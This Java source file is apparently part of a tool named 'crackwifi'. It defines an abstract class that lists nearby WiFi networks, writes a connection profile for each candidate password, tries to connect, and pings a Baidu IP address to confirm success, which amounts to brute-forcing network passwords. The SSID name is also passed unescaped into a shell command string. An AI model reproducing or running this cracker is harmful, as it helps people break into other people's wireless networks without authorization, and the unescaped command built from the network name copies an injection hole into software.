package com.white.crackwifi.exec;

import com.white.crackwifi.model.Ssid;
import com.white.crackwifi.statics.ExecuteCmdEnum;
import com.white.crackwifi.utils.ExecuteUtil;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

/**
 * @author huangzy
 * @Description: 破解WIFI的执行步骤抽象类
 * @date 2019/12/24 14:47
 */
public abstract class CrackWifiAbstract implements CrackWifi,StartCrackWifi {

    protected String baiduHost = "14.215.177.39";

    /**
     * 获取电脑周围的所有可搜索到的WIFI
     * @return WIFI集合
     */
    @Override
    public List<Ssid> getSsidList(){
        List<String> result = null;
        try {
            //执行语句获取结果集
            result = ExecuteUtil.execute(ExecuteCmdEnum.GET_ALL.getCmd());
        } catch (IOException e) {
            e.printStackTrace();
            return new ArrayList<>();
        }
        if (result == null || result.size() == 0) {
            return new ArrayList<>();
        }
        //将结果集转换为SSID对象
        return convert(result);
    }

    /**
     * 将结果集转换为SSID对象集合
     * @param result 结果集
     * @return SSID对象集合
     */
    abstract protected List<Ssid> convert(List<String> result);

    /**
     * 将该WIFI的密码保存到本地中
     * @param ssid
     */
    abstract protected boolean save(Ssid ssid , String password);

    /**
     * 链接WIFI
     * @param SSID WIFI名称
     * @return
     */
    @Override
    public boolean connect(String SSID) {
        try {
            List<String> result = ExecuteUtil.execute(ExecuteCmdEnum.JOIN_WIFI.getCmd().replaceAll("SSID_NAME", SSID));
            if (result != null && result.size() > 0) {
                if (result.get(0).contains("已成功完成")){
                    return true;
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return false;
    }

    /**
     * Ping网络
     * @return 是否能够访问互联网
     */
    @Override
    public boolean ping() {
        boolean isPing = false;
        try {
            List<String> result = ExecuteUtil.execute("ping ".concat(baiduHost));
            if (result != null && result.size() > 0) {
                for (String item : result) {
                    if (item.contains("字节=")) {
                        isPing = true;
                        break;
                    }
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return isPing;
    }

    /**
     * 校验账号密码是否正确
     * @param ssid WIFI名称
     * @param password 密码
     * @return
     */
    @Override
    public synchronized boolean check(Ssid ssid, String password) {
        try {
            System.out.println("正在校验WIFI: "+ssid.getName()+" 的密码: "+password);
            //1. 生成配置文件到硬盘
            if (save(ssid, password)) {
                //2. 保存到WIFI配置文件
                if (addProfile(password.concat(".xml"))) {
                    //3. 连接WIFI
                    if (connect(ssid.getName())) {
                        //连接成功,睡眠100ms , 避免ping网络的时候出现无网络
                        Thread.sleep(100);
                        if (ping()) {
                            System.out.println("WIFI: "+ssid.getName()+" 的密码: ".concat(password).concat(" 校验成功"));
                            return true;
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        //校验失败, 删除配置文件
        System.out.println("WIFI: "+ssid.getName()+" 的密码: ".concat(password).concat(" 校验失败"));
        deleteProfile(password.concat(".xml"));
        return false;
    }

}
